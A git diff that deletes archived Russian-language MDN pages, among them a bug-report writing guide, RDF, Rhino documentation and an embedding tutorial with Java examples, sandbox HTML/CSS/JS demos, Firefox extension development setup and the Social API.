    • Идентификатор сборки (Build Id): Чтобы найти идентификатор либо откройте страницу "about:support" через строку адреса или, если у вас есть расширение Nightly Tester Tools от MozQA, тогда проследуйте в Инструменты | Nightly Tester Tools и найдите опцию которая содержит идентификатор сборки. Выглядит примерно так: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571".
    • -
    • Дополнительные сборки и платформы: воспроизводится ли баг на других платформах (или браузерах, если это имеет смысл). Должно выглядеть как то так: "Не происходит на Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571".
    • -
    -
  • -
  • Шаги для воспроизведения: Минимально-необходимое и простое описание шагов которые приводят к появлению бага. Если необходимо, включите необходимые шаги настройки приложения. Хороший пример:
    - 1) Взгляните на веб страницу. (Я использовал http://www.google.com/).
    - 2) Выделите текст при помощи перетаскивания. Конкретно, удерживая клавишу мыши, тащите указатель мыши вниз из любой точки содержимого веб страницы к самому низу страницы.
  • -
  • Фактические результаты: Что происходит после выполнения шагов. Пример: Приложение падает.
  • -
  • Ожидаемый результат: Что приложение должно сделать. Пример: Окно должно скроллироваться вниз. Промотанное содержимое должно выделяться. Как минимум, приложение не должно падать!
  • -
- -

Дальшейшее чтение Как написать понятный баг репорт Часть 2

- -
-

Информация об исходном документе

- -
    -
  • Автор(ы): Aakash Desai
  • -
  • Дата последнего изменения: June 3, 2013 at 2:41 am PST
  • -
-
-
diff --git a/files/ru/rdf/index.html b/files/ru/rdf/index.html deleted file mode 100644 index cebc30f276..0000000000 --- a/files/ru/rdf/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: RDF -slug: RDF -tags: - - RDF -translation_of: Archive/Web/RDF ---- -

-

-
-

Инфраструктура описания ресурсов (Resource Description Framework, RDF) - это семейство спецификаций, описывающих модели метаданных. Эта технология разработана консорциумом W3C (World Wide Web Consortium). Как правило, она реализуется как приложение формата XML. -

Модель метаданных RDF основана на идее making statements о ресурсах в форме выражения состоящего из трёх частей, и называемого triple в терминологии RDF. Эти три части - subject (субъект, подлежащее), predicate (предикат, сказуемое) и object (объект, дополнение). В роли субъекта выступает ресурс, описываемая сущность. Предикатом выступает характерная черта или особенность ресурса, и часто описывает взаимоотношения между субъектом и объектом. В качестве объекта может выступать объект взаимоотношения или значение свойства, описываемого предикатом. {{ Ref("one") }} -

-
- - -
-

Документация

-
Направления развития движка RDF в продуктах Mozilla: презентация -
Эта презентация демонстрирует основные направления развития движка RDF, разрабытаваемого в рамках проекта mozilla.org. Рассмотрены планы об использовании RDF API для публикации web-контента, а таже вопросы производительности и корректности реализации. -
-
Что такое RDF -
Введение в инфраструктуру описания ресурсов от Tim Bray, на сайте XML.com. -
-
RDF in Mozilla FAQ -
Часто спрашиваемые вопросы о RDF в Mozilla. -
-
RDF in Fifty Words or Less -
Быстрое введение в Инфраструктуру описания ресурсов. -
-
RDF Datasource How-To -
Документ в формате книги рецептов, описывающий как создавать источники данных на стороне клиента, которые работают с реализацией RDF от проекта Mozilla. -
-
Aggregating the In-Memory Datasource -
Использование агрегирования с источниками данных, находящихся в оперативной памяти компьютера, используя технологию XPCOM. -
-

Просмотреть всё... -

-
-

Сообщество

-
  • Просмотерть форумы Mozilla... -
-

{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }} -

- -

Инструменты

- -

Связанные темы

-
XML -
-
-

Categories -

Interwiki Language Links -


-

{{ languages( { "de": "de/RDF", "es": "es/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "ko": "ko/RDF", "pl": "pl/RDF", "pt": "pt/RDF", "en": "en/RDF" } ) }} diff --git a/files/ru/rhino/documentation/index.html b/files/ru/rhino/documentation/index.html deleted file mode 100644 index 98686fb771..0000000000 --- a/files/ru/rhino/documentation/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Rhino documentation -slug: Rhino/Documentation -tags: - - Rhino -translation_of: Mozilla/Projects/Rhino/Documentation ---- -

Сведения о Rhino для разработчиков скриптов и приложений.

- -

Главное

- -
-
Обзор
-
Обзор языка  JavaScript и Rhino.
-
Лицензия
-
Информация о лицензии Rhino.
-
Требования и ограничения
-
Что необходимо, чтобы запустить Rhino; чего не может делать Rhino.
-
Загрузка архива
-
Включает комментарии к выпуску для Rhino
-
Оптимизация
-
Подробная информация о различных уровнях оптимизации.
-
FAQ
-
Ответы на частые вопросы о Rhino.
-
История Rhino
-
История зверя.
-
- -

Написание скриптов

- -
-
Java в скриптах
-
Как использовать  Rhino, чтобы  в скриптах задействовать  классы Java.
-
Java в скриптах
-
How to use Rhino to script Java classes (an older treatment).
-
Советы по улучшению производительности
-
Некоторые советы по написанию быстрого кода JavaScript.
-
- -

Инструменты JavaScript

- -
-
Оболочка Rhino
-
Интерактивное или пакетное выполнение скриптов.
-
Отладчик JavaScript
-
Отладка скриптов, запущенных в Rhino.
-
Компилятор JavaScript
-
Компиляция скриптов в файлы классов Java.
-
Запуск тестов Rhino
-
Запуск тестов JavaScript с Rhino.
-
- -

Встраивание Rhino

- -
-
Руководство по теме
-
Краткое руководство по встраиванию Rhino в приложение.
-
Справочник по API Javadoc  (Link broken?  Try this at Jarvana.)
-
An annotated outline of the programming interface to Rhino (tip only).
-
Области видимости и контекстыs
-
Describes how to use scopes and contexts for the best performance and flexibility, with an eye toward multithreaded environments.
-
Сериализация
-
Как выполнить сериализацию объектов и функций JavaScript  в Rhino.
-
Runtime
-
A brief description of the JavaScript runtime.
-
Small Footprint
-
Hints for those interested in small-footprint embeddings.
-
Примеры
-
Набор примеров того, как контролировать движок JavaScript и собирать объекты хоста JavaScript.
-
Использование Rhino вместе с h Bean Scripting Framework (BSF)
-
Как использовать Rhino вместе с приложениями, поддерживающими BSF (Bean Scripting Framework) из проекта Apache Jakarta.
-
- -

Внешние ссылки

- -
-
Скриптовые языки для Java
-
Статья сравнивает и противопоставляет Rhino и Jython.
-
- -

Авторы Rhino

- -

Interested in contributing to Rhino? Check out the Rhino Wish List.

diff --git a/files/ru/rhino/download_rhino/index.html b/files/ru/rhino/download_rhino/index.html deleted file mode 100644 index d6b61aee73..0000000000 --- a/files/ru/rhino/download_rhino/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: ска́чивание Rhino -slug: Rhino/Download_Rhino -translation_of: Mozilla/Projects/Rhino/Download_Rhino ---- -

Rhino можно загрузить как в виде исходного кода, так и в виде скомпилированной библиотеки.

- -

Библиотека в двоичном коде

- -

Последняя версия библиотеки Rhino - 1.7R4.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ReleaseДата освобожденияИнформация о выпускеСсылка на скачивание
Rhino 1.7R42012-06-18New in Rhino 1.7R4rhino1_7R3.zip
Rhino 1.7R52015-01-29Информация о выпускеrhino1_7R5.zip
Rhino 1.7.62015-04-15Информация о выпускеrhino1.7.6.zip
Rhino 1.7.72015-06-17Информация о выпускеrhino1.7.7.zip
Rhino 1.7.7.12016-02-01Информация о выпускеrhino1.7.7.1.zip
Rhino 1.7.7.22017-08-24Информация о выпускеrhino1.7.7.2.zip
Rhino 1.7.82018-01-22Информация о выпускеrhino1.7.8.zip
Rhino 1.7.92018-03-15Информация о выпускеrhino1.7.9.zip
Rhino 1.7.102018-04-09Информация о выпускеrhino1.7.10.zip
Rhino 1.7.112019-05-30Информация о выпускеrhino1.7.11.zip
Rhino 1.7.122020-01-13Информация о выпускеrhino1.7.12.zip
- -

Если требуются более старые версии библиотеки, ищите их в Архиве hino версий Rhino.

- -

Лицензия

- -

Rhino открыт (open source). Начиная с версии 1.7R4, Rhino распространяется с лицензией MPL 2.0.

- -

Предыдущие версии распространяются с лицензией MPL 1.1/GPL 2.0.

- -

Дополнительная информация о Лицензиях Rhino.

- -

Исходный код библиотеки

- -

В дополнении к исходному коду, который находится в ранее указанном zip-файле, исходный код Rhino можно найти в github-е на странице проекта https://github.com/mozilla/rhino. Для того, чтобы загрузить код используйте команду

- -
git clone https://github.com/mozilla/rhino.git
-
- -

Для сборки Rhino используется Ant. Запуск команды ant в корневом каталоге дистрибутива Rhino, по идее, распечатывает список имеющихся подсистем сборки (build targets).

diff --git a/files/ru/rhino/embedding_tutorial/index.html b/files/ru/rhino/embedding_tutorial/index.html deleted file mode 100644 index eb56c3050c..0000000000 --- a/files/ru/rhino/embedding_tutorial/index.html +++ /dev/null @@ -1,302 +0,0 @@ ---- -title: 'Руководство: Внедрение кода Rhino' -slug: Rhino/Embedding_tutorial -translation_of: Mozilla/Projects/Rhino/Embedding_tutorial ---- -

Внедрение кода Rhino простое но тем не менее приводит к хорошему результату. Приложив больше усилии к embedder,  исполняемые сценарии могут быть настроены дополнительно.

- -

В этом руководстве по шагово мы рассмотрим способы от простого сценария внедрения кода до сложного. Примеры кода будут соправождать нас в процессе изучения.

- -

Примеры можно найти в папках дистрибутива rhino/examples   и cvs  сервере по адресу mozilla/js/rhino/examples.  В этом руководстве мы будем ссылатся на эти примеры посредством lxr.

- -

 JavaScript код будет помечен зеленым, Java код так же будет помечен зеленым, и shell logs будет отмечен пурпурным.

- -

Содержание:

- - - -

RunScript: Простой пример

- -

Возможно самый простой пример внедрения Rhino вы найдете здесь RunScript example. Он считывает строку параметра, который должен быть фрагментом js-кода, запускает код и выводит результат.

- -

Ниже приведен данный пример. Используйте команду RunScript в командной строке консоли:

- -
$ java RunScript "Math.cos(Math.PI)"
--1
-$ java RunScript "function f(x){return x+1} f(7)"
-8
-
- -

Примечание: Rhino классы и класс RunScript должны быть прописаны в classpath. Let's step through the body of main one line at time.

- -

Entering a Context

- -

The code

- -
Context cx = Context.enter();
-
- -

Creates and enters a Context. A Context stores information about the execution environment of a script.

- -

Initializing standard objects

- -

The code

- -
Scriptable scope = cx.initStandardObjects();
-
- -

Initializes the standard objects (Object, Function, etc.) This must be done before scripts can be executed. The null parameter tells initStandardObjects to create and return a scope object that we use in later calls.

- -

Collecting the arguments

- -

This code is standard Java and not specific to Rhino. It just collects all the arguments and concatenates them together.

- -
String s = "";
-for (int i=0; i < args.length; i++) {
-    s += args[i];
-}
-
- -

Evaluating a script

- -

The code

- -
Object result = cx.evaluateString(scope, s, "<cmd>", 1, null);
-
- -

uses the Context cx to evaluate a string. Evaluation of the script looks up variables in scope, and errors will be reported with the filename <cmd> and line number 1.

- -

Printing the result

- -

The code

- -
System.out.println(cx.toString(result));
-
- -

prints the result of evaluating the script (contained in the variable result). result could be a string, JavaScript object, or other values. The toString method converts any JavaScript value to a string.

- -

Exiting the Context

- -

The code

- -
} finally {
-    Context.exit();
-}
-
- -

exits the Context. This removes the association between the Context and the current thread and is an essential cleanup action. There should be a call to exit for every call to enter. To make sure that it is called even if an exception is thrown, it is put into the finally block corresponding to the try block starting after Context.enter().

- -

Expose Java APIs

- -

Using Java APIs

- -

No additional code in the embedding needed! The JavaScript feature calledLiveConnect allows JavaScript programs to interact with Java objects:

- -
$ java RunScript "java.lang.System.out.println(3)"
-3.0
-undefined
-
- -

Implementing interfaces

- -

Using Rhino, JavaScript objects can implement arbitrary Java interfaces. There's no Java code to write -- it's part of Rhino's LiveConnect implementation. For example, we can see how to implement java.lang.Runnable in a Rhino shell session:

- -
js> obj = { run: function() { print("hi"); } }
-[object Object]
-js> obj.run()
-hi
-js> r = new java.lang.Runnable(obj);
-[object Object]
-js> t = new java.lang.Thread(r)
-Thread[Thread-0,5,main]
-js> t.start()
-hi
-
- -

Adding Java objects

- -

The next example is RunScript2. This is the same as RunScript, but with the addition of two extra lines of code:

- -
Object wrappedOut = Context.javaToJS(System.out, scope);
-ScriptableObject.putProperty(scope, "out", wrappedOut);
-
- -

These lines add a global variable out that is a JavaScript reflection of the System.out variable:

- -
$ java RunScript2 "out.println(42)"
-42.0
-undefined
-
- -

Using JavaScript objects from Java

- -

After evaluating a script it's possible to query the scope for variables and functions, extracting values and calling JavaScript functions. This is illustrated in the RunScript3 example. This example adds the ability to print the value of variable x and the result of calling function f. Both x and f are expected to be defined by the evaluated script. For example,

- -
$ java RunScript3 "x = 7"
-x = 7
-f is undefined or not a function.
-$ java RunScript3 "function f(a) { return a; }"
-x is not defined.
-f("my args") = my arg
-
- -

Using JavaScript variables

- -

To print out the value of x, we add the following code:

- -
Object x = scope.get("x", scope);
-if (x == Scriptable.NOT_FOUND) {
-    System.out.println("x is not defined.");
-} else {
-    System.out.println("x = " + Context.toString(x));
-}
-
- -

Calling JavaScript functions

- -

To get the function f, call it, and print the result, we add this code:

- -
Object fObj = scope.get("f", scope);
-if (!(fObj instanceof Function)) {
-    System.out.println("f is undefined or not a function.");
-} else {
-    Object functionArgs[] = { "my arg" };
-    Function f = (Function)fObj;
-    Object result = f.call(cx, scope, scope, functionArgs);
-    String report = "f('my args') = " + Context.toString(result);
-    System.out.println(report);
-}
-
- -

JavaScript host objects

- -

Defining Host Objects

- -

Custom host objects can implement special JavaScript features like dynamic properties.

- -

Counter example

- -

The Counter example is a simple host object. We'll go through it method by method below.

- -

It's easy to try out new host object classes in the shell using its built-in defineClass function. We'll see how to add it to RunScript later. (Note that because the java -jar option preempts the rest of the classpath, we can't use that and access the Counter class.)

- -
$ java -cp "js.jar;examples" org.mozilla.javascript.tools.shell.Main
-js> defineClass("Counter")
-js> c = new Counter(7)
-[object Counter]
-js> c.count
-7
-js> c.count
-8
-js> c.count
-9
-js> c.resetCount()
-js> c.count
-0
-
- -

Counter's constructors

- -

The zero-argument constructor is used by Rhino runtime to create instances. For the counter example, no initialization work is needed, so the implementation is empty.

- -
public Counter () { }
-
- -

The method jsConstructor defines the JavaScript constructor that was called with the expression new Counter(7) in the JavaScript code above.

- -
public void jsConstructor(int a) { count
-= a; }
-
- -

Class name

- -

The class name is defined by the getClassName method. This is used to determine the name of the constructor.

- -
public String getClassName() { return "Counter";
-}
-
- -

Dynamic properties

- -

Dynamic properties are defined by methods beginning with jsGet_ or jsSet_. The method jsGet_count defines thecount property.

- -
public int jsGet_count() { return count++;
-}
-
- -

The expression c.count in the JavaScript code above results in a call to this method.

- -

Defining JavaScript "methods"

- -

Methods can be defined using the jsFunction_ prefix. Here we define resetCount for JavaScript.

- -
public void jsFunction_resetCount() { count
-= 0; }
-
- -

The call c.resetCount() above calls this method.

- -

Adding Counter to RunScript

- -

Now take a look at the RunScript4 example. It's the same as RunScript except for two additions. The method ScriptableObject.defineClass uses a Java class to define the Counter "class" in the top-level scope:

- -
ScriptableObject.defineClass(scope, Counter.class);
-
- -

Now we can reference the Counter object from our script:

- -
$ java RunScript4 "c = new Counter(3); c.count;
-c.count;"
-
- -

It also creates a new instance of the Counter object from within our Java code, constructing it with the value 7, and assigning it to the top-level variable myCounter:

- -
Object[] arg = { new Integer(7) };
-Scriptable myCounter = cx.newObject(scope, "Counter", arg);
-scope.put("myCounter", scope, myCounter);
-
- -

Now we can reference the myCounter object from our script:

- -
$ java RunScript3 'RunScript4 'myCounter.count; myCounter.count'
-8
-
diff --git a/files/ru/rhino/index.html b/files/ru/rhino/index.html deleted file mode 100644 index eda494f561..0000000000 --- a/files/ru/rhino/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Rhino -slug: Rhino -translation_of: Mozilla/Projects/Rhino ---- -

Image:rhino.jpg

- -

Библиотека Rhino (Носорог) - это открытая (open-source) версия языка программирования  JavaScript, реализованная полностью в Java. Библиотека предназначена для встраивания в Java-приложения в качестве пользовательского скриптового (scripting) языка программирования. Она включена в J2SE 6 как один из механизмов реализации сценариев (scripting engine) для Java.

- -

Загрузка Rhino

- -

Инструкция по загрузке исходного кода и библиотеки в двоичном коде

- -

Документация по библиотеке Rhino

- -

Инструкция для разработчиков скриптов, включая встраивание в Java-программы.

- -

Дополнительная информация о Rhino

- -

Некоторые дополнительные ресурсы, в случае возникновения проблем.

- -

{{ languages( { "ru": "ru/Rhino" } ) }}

diff --git a/files/ru/sandbox/index.html b/files/ru/sandbox/index.html deleted file mode 100644 index 72f71274f1..0000000000 --- a/files/ru/sandbox/index.html +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Песочница -slug: Sandbox -tags: - - Песочница - - Практика -translation_of: Sandbox ---- -

 

- -

Привет мир 1

- -

HTML контент

- -
<p id='test_code'>Пример HTML. <br>Ещё пример... </p>
-
-<section id="text" class="vidim" contenteditable="true">
-  <h3>Внеси изменения в стиль...</h3>
- <style scoped>
-.vidim style {
-    display:block;
-    padding:10px;
-    white-space:pre;
-    background:rgba(200,200,200,.8);
-    }
-.vidim[contenteditable="true"] {
-  top:1px;
-  left:10px;
-  display:block;
-  position: fixed; padding:10px;
-  width: auto;
-  height: auto;
-  margin-top: calc(5vmax + -10px);
-  margin-left: calc(60vw + -40%);
-  font-family:Consolas, Monaco, monospace;
-  transform: scale(1);
-    }
-.vidim[contenteditable="true"] {
-    outline:2px dashed #ccc;
-    background-color:rgba(100,200,200,.2);
-    }
-.vidim[contenteditable="true"]:hover{
-    z-index: 10;
-    outline:3px solid #28a;
-  background-color:rgba(100,200,200,1);
-    }
-p[contenteditable="true"] {color:red;}
- </style>
-</section>
-
-
- -

CSS контент

- -
body {background:
-radial-gradient(black 15%, transparent 16%) 0 0,
-radial-gradient(black 15%, transparent 16%) 8px 8px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 0 1px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 8px 9px;
-background-color:#243844;
-background-size:16px 16px;
-}
-#test_code {background-color: #ccc;}
-.vidim {
-   top:1px;
-   left:10px;
-   display:block;
-   position: fixed;
-   padding:10px;
-   width: auto;
-   height: auto;
-   margin-top: calc(5vmax + -10px);
-   margin-left: calc(60vw + -40%);
-   transform: scale(1);
-   font-family:Consolas, Monaco, monospace;
-   background-color:rgba(100,200,200,.2);
-   }
-
-
- -

JavaScript контент

- -
console.log("HI !!");
-
- -

Вот результат

- -

{{EmbedLiveSample('Привет_мир', '100%', 400)}}

- -

 

- -

Песочница: 

- -

Произвольные примеры

- -

HTML контент

- -
<!-- HTML контент примера -->
-<main class="vid">
-<div><h1>- Наведи мыша на квадрат...</h1>
-  <p>Это будет чёрным.</p>
-<section id="text" class="vidim" contenteditable="true">
-  <h1>Масштабируй это окно колесом мыши</h1>
-  <h3>Внеси изменения в стиль...</h3>
- <style scoped>
-.vidim style {
-    display:block;
-    padding:10px;
-    white-space:pre;
-    background:rgba(200,200,200,.6);
-    }
-.vidim {
-    display:block;
-    position: fixed;
-    top:1px;
-    left:10px;
-    width: auto;
-    height: auto;
-    margin-top: calc(5vmax + -10px);
-    margin-left: calc(60vw + -40%);
-    padding:10px;
-    font-family:Consolas, Monaco, monospace;
-    transform: scale(1);
-    }
-
-.vidim[contenteditable="true"] {
-    outline:2px dashed #ccc;
-    background-color:rgba(100,200,200,.4);
-    }
-.vidim[contenteditable="true"]:hover {
-    z-index: 10;
-    outline:3px solid #28a;
-    background-color:rgba(100,200,200,1);
-    }
-p[contenteditable="true"] {color:red;}
- </style>
-</section>
-    <p contenteditable="true">Это будет красным. <br>Ещё и редактируемым... </p>
-    <p>Это будет чёрным.</p>
-</div>
-</main>
- -

 

- -

CSS контент

- -
/* CSS контент примера */
-body {background:
-radial-gradient(black 15%, transparent 16%) 0 0,
-radial-gradient(black 15%, transparent 16%) 8px 8px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 0 1px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 8px 9px;
-background-color:#243844;
-background-size:16px 16px;}
-.vid {
-    margin: 5px;
-    padding: 5px;
-    border: 1px solid white;
-    background-color: rgba(220,220,220,.9);
-}
-
-
- -

JavaScript контент

- -
/* JavaScript контент примера */
-function addOnWheel(elem, handler)
-  {if (elem.addEventListener)
-    {if ('onwheel' in document)
-     {elem.addEventListener("wheel", handler);}
-    else if ('onmousewheel' in document)
-     {elem.addEventListener("mousewheel", handler);}
-    else
-     {elem.addEventListener("MozMousePixelScroll", handler);}
-    }
-  else
-    {text.attachEvent("onmousewheel", handler);}
-  }
-
-var scale = 1;
-
-addOnWheel(text, function(e)
-  {
-  var delta = e.deltaY || e.detail || e.wheelDelta;
-   if (delta > 0) scale += 0.05;
-   else scale = Math.max(scale -0.05, 0.05);
-
-   text.style.transform = text.style.WebkitTransform = text.style.MsTransform = 'scale(' + scale + ')';
-   e.preventDefault();
-  }       )
-
- -

{{EmbedLiveSample('Произвольные_примеры', '100%', 400)}}

- -

Возможности

- - - - - -

 

- -

 

diff --git "a/files/ru/sandbox_--\320\276\320\261\321\211\320\270\320\271_\320\272\320\260\321\202\320\260\320\273\320\276\320\272_\321\202\320\276\320\262\320\260\321\200\320\260_/index.html" "b/files/ru/sandbox_--\320\276\320\261\321\211\320\270\320\271_\320\272\320\260\321\202\320\260\320\273\320\276\320\272_\321\202\320\276\320\262\320\260\321\200\320\260_/index.html" deleted file mode 100644 index 22e1d73fdb..0000000000 --- "a/files/ru/sandbox_--\320\276\320\261\321\211\320\270\320\271_\320\272\320\260\321\202\320\260\320\273\320\276\320\272_\321\202\320\276\320\262\320\260\321\200\320\260_/index.html" +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Sandbox --> Общий каталог товаров -slug: Sandbox_-->Общий_каталок_товара_ -tags: - - каталог товаров ---- -

"чччсчс пап" - нужность этого выражения под вопросом... (?)

diff --git a/files/ru/setting_up_extension_development_environment/index.html b/files/ru/setting_up_extension_development_environment/index.html deleted file mode 100644 index 44e37fe0b2..0000000000 --- a/files/ru/setting_up_extension_development_environment/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Настройка среды для разработки расширений -slug: Setting_up_extension_development_environment -tags: - - Add-ons - - Extensions - - Guide -translation_of: Archive/Add-ons/Setting_up_extension_development_environment ---- -

Эта статья дает предложения о том, как настроить приложение Mozilla для разработки расширений. Если не указано иное, эти предложения относятся к Firefox и Thunderbird, а также к SeaMonkey версии 2.0 и выше.

- -

Обзор

- - - -

Профиль разработчика

- -

Чтобы избежать снижения производительности из-за связанных с разработкой настроек и расширений, и, чтобы не потерять свои личные данные, вы можете использовать отдельный профиль для разработки.

- -

Вы можете запустить два экземпляра Thunderbird или Firefox, в одно и то же время, используя отдельные профили и запускать приложения с параметрами -no-remote и -P ИмяПрофиля. Например, следующая команда запустит Firefox с профилем под названием "dev", независимо от того, запущен ли уже Firefox или нет. (Если еще нет никакого "dev" пользователя, то запустится экран выбора профиля, где вы сможете его создать.)

- -

На Ubuntu (и многих других дистрибутивах Linux):

- -
/usr/bin/firefox -no-remote -P dev
- -

На некоторых других дистрибутивах Linux/Unix:

- -
/usr/local/bin/firefox -no-remote -P dev
-
- -

На Mac OS Snow Leopard (10.6) и новее:

- -
/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &
-
- -

На Mac OS Leopard (10.5) и старее, вам понадобится запросить 32-bit часть Universal Binary (https://bugzilla.mozilla.org/show_bug.cgi?id=622970):

- -
arch -arch i386 /Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &
-
- -

На Windows:

- -
Start -> Run "%ProgramFiles%\Mozilla Firefox\firefox.exe" -no-remote -P dev
-
- -

На Windows 64 bit:

- -
Start -> Run "%ProgramFiles(x86)%\Mozilla Firefox\firefox.exe" -no-remote -P dev
- -

Чтобы запустить Thunderbird или SeaMonkey вместо Firefox, замените "firefox" в примерах выше на "thunderbird" или "seamonkey".

- -
-

Обратите внимание, что вы можете запустить Firefox с помощью обычного профиля при разработке.

-
- -

Параметр -P ИмяПрофиля не включает -no-remote, поэтому используйте их вместе. В противном случае, если вы уже запустили экземпляр Firefox без -no-remote и попытаетесь запустить еще один экземпляр с -P ИмяПрофиля, но опять без -no-remote, то во втором вызове будет игнорироваться его параметр -P ИмяПрофиля, но вместо этого он откроет новое пустое окно для уже запущенного экземпляра (с общим профилем, сеансом и т.д.).

- -

(Существует тред на Mozillazine форумах, где объясняют, как использовать стабильную и для разработки версии Firefox, чтобы проверить совместимость расширений. См. Установка Firefox 3 или Minefield, сохраняя Firefox 2.)

- -

Командные флаги разработчика

- -

As of Gecko 2 (Firefox 4), JavaScript files are cached ("fastload"). The -purgecaches command-line flag disables this behavior. Alternatively, you can set the MOZ_PURGE_CACHES environment variable. See this bug for more information.

- -

Development preferences

- -

Installing the Developer Profile extension sets up the development environment described below.

- -

There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However,  these preferences can degrade performance, so you may want to use a separate development profile when you enable these preferences. For more information about Mozilla preferences, refer to the mozillaZine article on "about:config".

- -

Not all preferences are defined by default, and are therefore not listed in about:config by default. You will have to create new (boolean) entries for them.

- - - -

Never set {{pref("nglayout.debug.disable_xul_fastload")}} to true in a production environment; it exists solely to aid in debugging. In particular, add-ons should never change this preference.
.

- -
-

{{ gecko_callout_heading("2.0") }}

- -

The Error Console is disabled by default starting in Firefox 4. You can re-enable it by changing the devtools.errorconsole.enabled preference to true and restarting the browser. With this, javascript.options.showInConsole is also set to true by default.

-
- -

Accessing Firefox development preferences

- -

To change preference settings in Firefox or SeaMonkey, type about:config in the Location Bar. Alternatively, use the Extension Developer's Extension, which provides a menu interface for Firefox settings.

- -

Accessing Thunderbird development preferences

- -

To change preference settings in Thunderbird, open the "Preferences" (Unix) or "Options" (Windows) interface. On the "Advanced" page, select the "General" tab then click the "Config Editor" button.

- -

Development extensions

- -

These extensions may help you with your development.

- - - -

Firefox extension proxy file

- -

Extension files are normally installed in the user profile. However, it is usually easier to place extension files in a temporary location, which also protects source files from accidental deletion. This section explains how to create a proxy file that points to an extension that is installed in a location other than the user profile.

- -
    -
  1. Get the extension ID from the extension's install.rdf file.
  2. -
  3. Create a file in the "extensions" directory under your profile directory with the extension's ID as the file name (for example "your_profile_directory/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}"). (How to find your profile directory) Alternatively, rather than using a GUID, create a unique ID using the format "name@yourdomain" (for example chromebug@mydomain.com) - then the proxy filename will be same as that ID, with no curly brackets {}.
  4. -
  5. -

    The contents of this file should be the path to the directory that contains your install.rdf file, for example /full/path/to/yourExtension/ on Mac and Linux, and C:\full\path\to\yourExtension\ on Windows. Remember to include the closing slash and remove any trailing whitespace.

    - -
      -
    • Note: If you already installed the extension via XPI, you should uninstall it first before creating the pointer file.
    • -
    • Also note that the use of proxy files requires that the extension's chrome.manifest defines its chrome urls using traditional directories, rather than a JARed structure. See below.
    • -
    -
  6. -
  7. Place the file in the extensions folder of your profile and restart the application.
  8. -
- -

Using directories rather than JARs

- -

Regardless of whether you choose to eventually package your extension's chrome in a JAR or in directories, developing in directories is simpler. If you choose a JARed structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. For example, rather than having

- -
content	myExtension	jar:chrome/myExtension.jar!/content/
-
- -

use

- -
content	myExtension	chrome/content/
-
- -

{{ h1_gecko_minversion("Preventing the first launch extension selector", "8.0") }}

- -

Starting in Firefox 8, on the first launch of a new version of Firefox, it presents user interface letting users select which third party add-ons to keep. This lets them weed out add-ons that were installed without their knowledge, or that are no longer needed.

- -

However, this interface can be disruptive when debugging add-ons. You can avoid this by setting the preference extensions.autoDisableScopes to 14.

- -

{{ languages( { "de": "de/Einrichten_einer_Entwicklungsumgebung_für_Erweiterungen", "fr": "fr/Configuration_d'un_environnement_de_développement_d'extensions", "ja": "ja/Setting_up_extension_development_environment", "zh-cn": "cn/Setting_up_extension_development_environment", "pl": "pl/Przygotowanie_środowiska_programowania_rozszerzenia", "ru": "ru/Настройка_среды_разработки_расширений" } ) }}

diff --git a/files/ru/social_api/index.html b/files/ru/social_api/index.html deleted file mode 100644 index 23268327ed..0000000000 --- a/files/ru/social_api/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Социальный API -slug: Social_API -tags: - - Social API - - Социальные услуги - - Социальный API -translation_of: Archive/Social_API ---- -

Социальный API (Social API)- это новый API (интерфейс программирования приложений), созданный для упрощения интеграции социальных услуг в веб-браузеры. Использовав однажды один из социальных сервисов, в браузере становятся доступны пользовательские настройки и информация, связанные с этим сервисом. Следующие статьи объясняют, как реализуется связь между поставщиками социальных услуг и браузером.

-
-

Примечание: Большая часть контента для подстраниц была разработана, но еще не перенесна в эту ветку; вы можете временно отыскать его здесь.

-
-
-
-

 Документация к Social API

-
-
- Глоссарий Social API
-
- Содержит определения основных терминов, которые вы должны знать при использовании Социального API.
-
- Руководство по Social API и социальным услугам
-
- Введение и руководство по Социальному API и связанными с ним услугами.
-
- Декларации для социальных услуг
-
- Описание руководство по созданию) деклараций
-
- Справочник по рабочему API для социальных услуг
-
- Справка по Социальному API.
-
- Контент API: MozSocial
-
- Справки по контенту API для социальных услуг, получаемые с помощью объекта {{domxref("navigator.MozSocial")}}
-
- Виджеты
-
- Справка по виджетам, предоставляемым для социальных услуг.
-
- Функциональность чата
-
- Справочник по реализации функций чата с использованием  Social API.
-
-

Смотреть полностью...

-
-
-

Получение помощи от сообщества

-

Вы нуждаетесь в помощи, связанной с проблемой по социальному API и не можете найти решение в документации?

-
    -
  • Задайте Ваш вопрос на IRC-канале Mozilla : #socialdev
  • -
-

И не забывайте о "сетикете"...

-

Утилиты и демо

- -

Смотреть полностью...

- - -
-
-

 

diff --git a/files/ru/spidermonkey/index.html b/files/ru/spidermonkey/index.html deleted file mode 100644 index af3119f8b9..0000000000 --- a/files/ru/spidermonkey/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: SpiderMonkey -slug: SpiderMonkey -tags: - - SpiderMonkey -translation_of: Mozilla/Projects/SpiderMonkey ---- -

